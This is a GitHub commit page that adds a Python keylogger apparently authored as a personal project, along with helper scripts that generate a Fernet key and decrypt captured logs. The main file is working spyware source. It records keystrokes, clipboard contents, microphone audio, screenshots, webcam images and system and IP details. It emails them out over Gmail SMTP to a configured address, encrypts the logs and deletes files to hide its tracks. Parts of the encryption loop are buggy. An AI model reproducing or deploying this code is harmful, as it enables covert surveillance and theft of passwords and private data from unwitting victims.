Skip to content

Commit ee214c2

Browse files
authored
Added main(keylogger) files and reuirements
1 parent c19e4f1 commit ee214c2

File tree

4 files changed

+241
-0
lines changed

4 files changed

+241
-0
lines changed

Cryptography/DecryptFile.py

+20
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
from cryptography.fernet import Fernet
2+
3+
key = " " # Paste Your Key which is generated by Gernerate Key file.
4+
system_information_e = 'e_system.txt'
5+
clipboard_information_e = 'e_clipboard.txt'
6+
keys_information_e = 'e_keys_logged.txt'
7+
8+
encrypted_files = [system_information_e, clipboard_information_e, keys_information_e]
9+
count = 0
10+
11+
for decrypting_files in encrypted_files:
12+
with open(encrypted_files[count], 'rb') as f:
13+
data = f.read()
14+
15+
fernet = Fernet(key)
16+
decrypted = fernet.decrypt(data)
17+
18+
with open("decryption.txt", 'ab') as f:
19+
f.write(decrypted)
20+
count += 1

Cryptography/GenerateKey.py

+6
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
from cryptography.fernet import Fernet
2+
3+
key = Fernet.generate_key()
4+
file = open("encryption_key.txt", 'wb')
5+
file.write(key)
6+
file.close()

main.py

+215
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,215 @@
1+
"""
2+
Program: KeyLogger (with Microphone, WebCamera, Screenshots, Audio Logging Feature)
3+
Author: Aman Kumar
4+
Date: 05/08/2022
5+
"""
6+
7+
# Libraries
8+
from email.mime.multipart import MIMEMultipart
9+
from email.mime.text import MIMEText
10+
from email.mime.base import MIMEBase
11+
from email import encoders
12+
import smtplib
13+
import socket
14+
import platform
15+
import win32clipboard
16+
from pynput.keyboard import Key, Listener
17+
import time
18+
import os
19+
from scipy.io.wavfile import write
20+
import sounddevice as sd
21+
from cryptography.fernet import Fernet
22+
from requests import get
23+
from cv2 import VideoCapture, imshow, imwrite, destroyWindow, waitKey
24+
from PIL import ImageGrab
25+
26+
# Global Variables
27+
keys_info = "key_log.txt"
28+
system_info = "syseminfo.txt"
29+
clipboard_info = "clipboard.txt"
30+
audio_info = "audio.wav"
31+
screenshot_info = "screenshot.png"
32+
webCamShot_info = "webCamera.png"
33+
34+
keys_info_e = "e_key_log.txt"
35+
system_info_e = "e_systeminfo.txt"
36+
clipboard_info_e = "e_clipboard.txt"
37+
38+
microphone_time = 10
39+
time_iteration = 15
40+
number_of_iterations_end = 3
41+
42+
email_address = "[email protected]" # Enter disposable email here
43+
password = "myPa55w0rd" # Enter email password here
44+
toaddr = " " # Enter the email address you want to send your information to
45+
key = " " # Generate an encryption key from the Cryptography folder
46+
file_path = " " # Enter the file path you want your files to be saved to
47+
extend = "\\"
48+
file_merge = file_path + extend
49+
50+
51+
# Send Email
52+
def send_email(filename, attachment, toaddr):
53+
fromaddr = email_address
54+
msg = MIMEMultipart()
55+
msg['From'] = fromaddr
56+
msg['To'] = toaddr
57+
msg['Subject'] = "Log File"
58+
body = "Body_of_the_mail"
59+
msg.attach(MIMEText(body, 'plain'))
60+
filename = filename
61+
attachment = open(attachment, 'rb')
62+
p = MIMEBase('application', 'octet-stream')
63+
p.set_payload((attachment).read())
64+
encoders.encode_base64(p)
65+
p.add_header('Content-Disposition', "attachment; filename= %s" % filename)
66+
msg.attach(p)
67+
s = smtplib.SMTP('smtp.gmail.com', 587)
68+
s.starttls()
69+
s.login(fromaddr, password)
70+
text = msg.as_string()
71+
s.sendmail(fromaddr, toaddr, text)
72+
s.quit()
73+
74+
send_email(keys_info, file_path + extend + keys_info, toaddr)
75+
76+
77+
# Get System Information
78+
def system_information():
79+
with open(file_merge + system_info, "a") as f:
80+
hostname = socket.gethostname()
81+
IPAddr = socket.gethostbyname(hostname)
82+
try:
83+
public_ip = get("https://api.ipify.org").text
84+
f.write("Public IP Address: " + public_ip + '\n')
85+
except Exception:
86+
f.write("Couldn't get Public IP Address (May be due to max query) \n")
87+
88+
f.write("Processor Info: " + (platform.processor()) + '\n')
89+
f.write("System Info: " + platform.system() + " " + platform.version() + '\n')
90+
f.write("Machine: " + platform.machine() + '\n')
91+
f.write("Hostname: " + hostname + '\n')
92+
f.write("Private IP Address: " + IPAddr + '\n')
93+
94+
system_information()
95+
96+
# Copy Clipboard Data
97+
def copy_clipboard():
98+
with open(file_merge + clipboard_info, "a") as f:
99+
try:
100+
win32clipboard.OpenClipboard()
101+
pasted_data = win32clipboard.GetClipboardData()
102+
win32clipboard.CloseClipboard()
103+
f.write("Clipboard Data : \n" + pasted_data + '\n')
104+
except:
105+
f.write("Clipboard Could not be copied. \n")
106+
107+
copy_clipboard()
108+
109+
# Get Microphone Recordings
110+
def microphone():
111+
fs = 44100
112+
seconds = microphone_time
113+
myrecording = sd.rec(int(seconds*fs), samplerate=fs,channels=2)
114+
sd.wait()
115+
write(file_merge + audio_info, fs, myrecording)
116+
117+
microphone()
118+
119+
120+
# Get Screenshots
121+
def screenshots():
122+
im = ImageGrab.grab()
123+
im.save(file_merge + screenshot_info)
124+
125+
screenshots()
126+
127+
# Get Snap with WebCamera
128+
def webCamera():
129+
cam = VideoCapture(0)
130+
result, image = cam.read()
131+
if result:
132+
imshow("webCam", image)
133+
imwrite("webCamera.png", image)
134+
waitKey(1)
135+
destroyWindow("webCam")
136+
137+
webCamera()
138+
139+
number_of_iterations = 0
140+
currentTime = time.time()
141+
stoppingTime = time.time() + time_iteration
142+
143+
# Timer for KeyLogger
144+
while number_of_iterations < number_of_iterations_end:
145+
count = 0
146+
keys = []
147+
148+
def on_press(key):
149+
global keys, count, currentTime
150+
print(key)
151+
keys.append(key)
152+
count += 1
153+
currentTime = time.time()
154+
155+
if count >= 1:
156+
count = 0
157+
write_file(keys)
158+
keys = []
159+
160+
def write_file(keys):
161+
with open(file_path + extend + keys_info, "a") as f:
162+
for key in keys:
163+
k = str(key).replace("'","")
164+
if k.find("space") > 0:
165+
f.write("\n")
166+
f.close()
167+
elif k.find("Key") == -1:
168+
f.write(k)
169+
f.close()
170+
171+
def on_release(key):
172+
if key == Key.esc:
173+
return False
174+
if currentTime > stoppingTime:
175+
return False
176+
177+
with Listener(on_press=on_press, on_release=on_release) as listener:
178+
listener.join()
179+
180+
if currentTime > stoppingTime:
181+
with open(file_merge + keys_info, "w") as f:
182+
f.write(" ")
183+
184+
screenshots()
185+
send_email(screenshot_info, file_merge + screenshot_info, toaddr)
186+
187+
webCamera()
188+
send_email(webCamShot_info, file_merge + webCamShot_info, toaddr)
189+
190+
copy_clipboard()
191+
number_of_iterations += 1
192+
currentTime = time.time()
193+
stoppingTime = time.time() + time_iteration
194+
195+
# Encrypting Files
196+
files_to_encrpt = [file_merge + system_info, file_merge + clipboard_info, file_merge + keys_info]
197+
encrypted_file_names = [file_merge + system_info_e, file_merge + clipboard_info_e, file_merge + keys_info_e]
198+
counts = 0
199+
for encrypting_file_in in files_to_encrpt:
200+
with open(files_to_encrpt[counts], 'rb') as f:
201+
data = f.read()
202+
fernet = Fernet(key)
203+
encrypted = fernet.encrypt(data)
204+
with open(encrypted_file_names[counts]):
205+
f.write(encrypted)
206+
207+
send_email(encrypted_file_names[counts], encrypted_file_names[counts], toaddr)
208+
count += 1
209+
time.sleep(120)
210+
211+
# cleaning up our tracks and delete files
212+
delete_files = [system_info, clipboard_info, keys_info, screenshot_info, audio_info]
213+
for file in delete_files:
214+
os.remove(file_merge + file)
215+

requirements.txt

558 Bytes
Binary file not shown.

0 commit comments

Comments
 (0)